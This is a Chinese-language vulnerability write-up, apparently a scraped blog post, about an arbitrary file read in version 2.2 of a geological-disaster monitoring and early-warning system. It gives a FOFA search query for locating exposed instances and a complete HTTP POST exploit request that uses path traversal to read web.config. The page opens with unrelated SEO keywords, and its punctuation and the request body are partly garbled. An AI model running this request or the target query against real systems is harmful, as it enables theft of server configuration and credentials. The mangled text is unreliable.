html5做网站好吗,公司网址怎么做出来的,企业网站模板源代码下载,兄弟们来个能看的华测监测预警系统 2.2 存在任意文件读取漏洞 一、 华测监测预警系统 2.2 简介二、漏洞描述三、影响版本四、fofa查询语句五、漏洞复现1、手动复现2、自动复现 六、修复建议 免责声明#xff1a;请勿利用文章内的相关技术从事非法测试#xff0c;由于传播、利用此文所提供的信… 华测监测预警系统 2.2 存在任意文件读取漏洞 一、 华测监测预警系统 2.2 简介二、漏洞描述三、影响版本四、fofa查询语句五、漏洞复现1、手动复现2、自动复现 六、修复建议 免责声明请勿利用文章内的相关技术从事非法测试由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失均由使用者本人负责所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 一、 华测监测预警系统 2.2 简介
华测监测预警系统是一套科学完善的地质灾害监测预警平台实现了地质灾害防治管理的科学化、信息化、标准化和可视化。
二、漏洞描述
华测监测预警系统 2.2 存在任意文件读取漏洞通过该漏洞可以读取敏感信息文件。
三、影响版本
华测监测预警系统 2.2
四、fofa查询语句 app“华测监测预警系统2.2” 五、漏洞复现
1、手动复现
漏洞链接http://127.0.0.1/Handler/FileDownLoad.ashx
漏洞数据包
POST /Handler/FileDownLoad.ashx HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40filename1filepath..%2F..%2Fweb.config2、自动复现
小龙POC一通哈拉少
六、修复建议 升级版本 屏蔽敏感代码执行
